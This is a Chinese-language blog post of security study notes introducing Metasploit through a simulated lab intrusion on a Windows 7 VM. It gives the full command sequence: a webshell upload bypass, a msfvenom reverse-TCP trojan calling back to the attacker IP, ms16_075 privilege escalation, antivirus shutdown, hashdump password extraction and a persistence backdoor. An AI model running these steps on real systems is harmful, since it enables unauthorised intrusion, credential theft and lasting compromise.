本專欄是筆者的網路安全學習筆記,一面分享,同時作為筆記
前文鏈接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目錄掃描,請求重發,漏洞掃描等工具的使用
- 網站資訊收集及nmap的下載使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各種注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——實戰SQL注入拿webshell
- Vulnhub靶機滲透之Me and My Girlfriend
- XSS漏洞
- 檔案上傳漏洞
- 檔案上傳繞過
- 檔案包含漏洞
- Vulnhub靶機滲透之zico2
- 命令執行漏洞
- 邏輯漏洞(越權訪問和支付漏洞)
- 網站后臺安全
- weevely的使用及免殺(Linux中的菜刀)
Metasploit(簡稱msf)框架是一個開源的,旨在方便地進行滲透測驗的框架,由Ruby語言撰寫而成,具有很好地拓展性,便于滲透測驗人員開發,使用定制的工具模板,
在Kali Linux自帶了Metasploit,在控制臺輸入msfconsole,啟動msf

kali中自帶的msf版本是5,可自行升級,
筆者的話:本來我是不想寫msf框架的,因為我認為Web安全只需要拿到WebShell就達到了目標,但是在我經過了幾次實戰時候,我發現了msf的重要性,msf框架在漏洞掃描,后滲透等多個方面都非常優秀,因此有了這篇文章,
Metasploit基礎
msf存在多個模塊,在這里進行介紹
- Auxiliaries(輔助模塊)
該模塊不會直接在測驗者和目標主機之間建立訪問,它們只負責執行
掃描、嗅探、指紋識別等相關功能以輔助滲透測驗
- Exploit(漏洞利用模塊)
漏洞利用是指由滲透測驗者利用一個系統、應用或者服務中的安全漏洞
進行的攻擊行為,流行的滲透攻擊技術包括緩沖區溢位、Web應用程式
攻擊,以及利用配置錯誤等,其中包含攻擊者或滲透測驗人員針對系統
中的漏洞而設計的各種POC驗證程式,用于破壞系統安全性的攻擊代碼,
每個漏洞都有相應的攻擊代碼,
- Payload(攻擊載荷模塊)
攻擊載荷是我們期望目標系統在被滲透攻擊之后完成實際攻擊功能的代碼,
成功滲透目標后,用于在目標系統上運行任意命令或者執行特定代碼,
在Metasploit框架中可以自由地選擇、傳送和植入,攻擊載荷也可能
是簡單地在目標作業系統系統上執行一些命令,如添加用戶賬號等,
- Post(后滲透模塊)
該模塊主要用于在取得目標系統遠程控制權后,進行一系列的后滲透
攻擊動作,如獲取敏感資訊、實施跳板攻擊等,
- Encoders(編碼工具模塊)
該模塊在滲透測驗中負責免殺,以防止被殺毒軟體、防火墻、
IDS及類似的安全軟體檢測出,
我將通過一個完整的滲透測驗來進行msf框架的初步講解,這是我在一次實戰中的操作,我用虛擬機進行了簡單的模擬,
攻擊機(Kali):192.168.157.131
目標機(Win7 x64):192.168.157.128
實戰
訪問目標機,看見一個檔案上傳點,

嘗試上傳WebShell,提示 “不正確的檔案型別”

使用bp抓包,上傳圖片馬,提示保存成功

把后綴改為php,成功上傳

蟻劍訪問,成功獲取WebShell

使用whoami指令查看當前權限

在Kali中輸入以下指令生成一個msf的木馬
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.131 lport=4444 -f exe > shell.exe
其中, windows/meterpreter/reverse_tcp 是msf將要使用的 payload, lhost 是攻擊機的ip地址,lport 是攻擊機將要監聽的埠,
通過這個陳述句,生成一個exe的木馬

接下來將木馬上傳到被攻擊的服務器上

在kali下輸入msfconsole進入msf的控制臺
輸入:use exploit/multi/handler進入遠程控制模塊
輸入:set payload windows/meterpreter/reverse_tcp使用Windows tcp遠程反彈Payload

輸入options查看該模塊的引數

其中 LHOST 是生成木馬時填寫的 lhost ,LPORT 是生成木馬時填寫的 lport
輸入:set LHOST 192.168.157.131來設定攻擊機ip地址
輸入:set LPORT 4444來設定攻擊機監聽埠

可以通過options查看當前引數

引數中Require的值為Yes的引數是必填項
接下來,輸入run或exploit開始監聽

同時,在蟻劍中,進入控制臺,輸入shell.exe運行我們先前上傳的木馬程式

此時可以看到,在msf中收到了回應,反彈了一個Meterpreter的shell

在Meterpreter中輸入help查看幫助資訊,在這里簡單講解一些指令
Meterpreter
| 指令 | 介紹 |
|---|---|
| migrate | 行程遷徙,可以通過“migrate pid”來遷徙到其他行程中,其中,pid是被遷徙的行程id,(注:只有Windows可用) |
| getuid | 獲取當前權限 |
| getpid | 獲取當前行程id |
| sysinfo | 回傳系統資訊 |
| getsystem | 直接提升到最高權限(一般成功不了) |
| run killav | 關閉殺毒軟體,在取得Meterpreter shell后最好最先執行該陳述句 |
| shell | 進入目標機shell,輸入“exit”退回到Meterpreter |
| pwd或getwd | 查看當前處于目標機的哪個目錄 |
| ls | 列出當前目錄下的所有檔案 |
| cd | 切換目錄 |
| search | 在目標機中搜索檔案,例如輸入“search -f *.txt -d C:/”搜索C盤中所有后綴為txt的檔案 |
| upload | 上傳檔案,例如輸入“upload 1.txt C:/1.txt”將攻擊機目錄下的1.txt上傳到目標機的C盤 |
| download | 下載檔案,例如輸入“download C:/1.txt 1.txt”將目標機C盤下的1.txt下載到攻擊機上 |
提權
輸入getuid查看當前權限,發現是manlu權限

輸入shell進入目標機shell,輸入systeminfo查看系統詳細資訊,包括但不限于系統補丁資訊


接下來要在補丁中查找那些沒有打的補丁,并且去網上找相關的exp進行提權
在這里我使用ms16_075 (KB3164038) 漏洞進行提權
回到meterpreter shell,輸入background將當前shell轉為后臺執行,可以輸入sessions查看目前已建立的session

接下來輸入search ms16_075尋找相應的exp

可以看到,名為exploit/windows/local/ms16_075_reflection_juicy的exp評價是great,在這里就使用該exp進行提權
輸入:use exploit/windows/local/ms16_075_reflection_juicy或use 1來選取要使用的exp

輸入options查看該exp引數

只有一個引數SESSION需要填寫
輸入sessions查看建立的連接,找到需要提權的session,通過SET指定SESSION

接下來輸入run執行即可
如果提權成功,會重新回傳一個Meterpreter shell

此時再輸入getuid查看權限,發現我們已經是system了

抓取密碼
在這里簡單講一下密碼的抓取,具體的密碼抓取會在之后詳細講解
在Meterpreter shell中輸入run windows/gather/hashdump匯出密碼

得到密碼的格式是類似這樣的
UserName:500:xxxx:xxxx
其中第一個是用戶名,第二個數字代表權限,500表示是管理員權限,后面兩個加密的內容是密碼,其中第二個加密的內容就是用戶密碼
例如,我想獲取用戶manlu的密碼,我將密文復制
32ed87bdb5fdc5e9cba88547376818d4
接下來在網上解密

得到用戶manlu的明文密碼為123456
注:抓取密碼需要SYSTEM權限
權限維持
我們通過持久化后門來進行權限維持
Persistence是一款使用安裝自啟動方式的持久性后門程式,可以利用它創建注冊和檔案,
輸入run persistence -h查看所有的命令選項

輸入指令:
run persistence -A -S -U -i 10 -p 1234 -r 192.168.157.131
語法解釋:
- A:自動啟動Payload程式
- S:系統啟動時自動加載
- U:用戶登錄時自動啟動
- X:開機時自動加載
- i:回連的時間間隔
- P:監聽的反向鏈接埠號
- r:攻擊機IP地址
在這個陳述句中,我設定每隔10秒鐘回連一次,這樣目標機就會每隔10秒連接一次攻擊機,
可以看到,在輸入指令后,提示在目標機上新建了一個vbs檔案并創建了一個服務,

此時我們重新打開一個msf終端,設定
payload:
windows/meterpreter/reverse_tcp
lhost:
192.168.157.131
lport:
1234
等待10秒,就可以收到目標機的連接

這樣成功創建了持久化后門
結語
這篇文章并不是正式的教程,只是為了寫一下使用Metasploit框架滲透的基本流程,同時寫出msf框架的強大之處,在之后的文章,會詳細寫Metasploit框架的操作,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297518.html
標籤:其他
上一篇:內網安全之:Metasploit 跳板攻擊:portfwd 埠轉發與埠映射
下一篇:命令執行總結
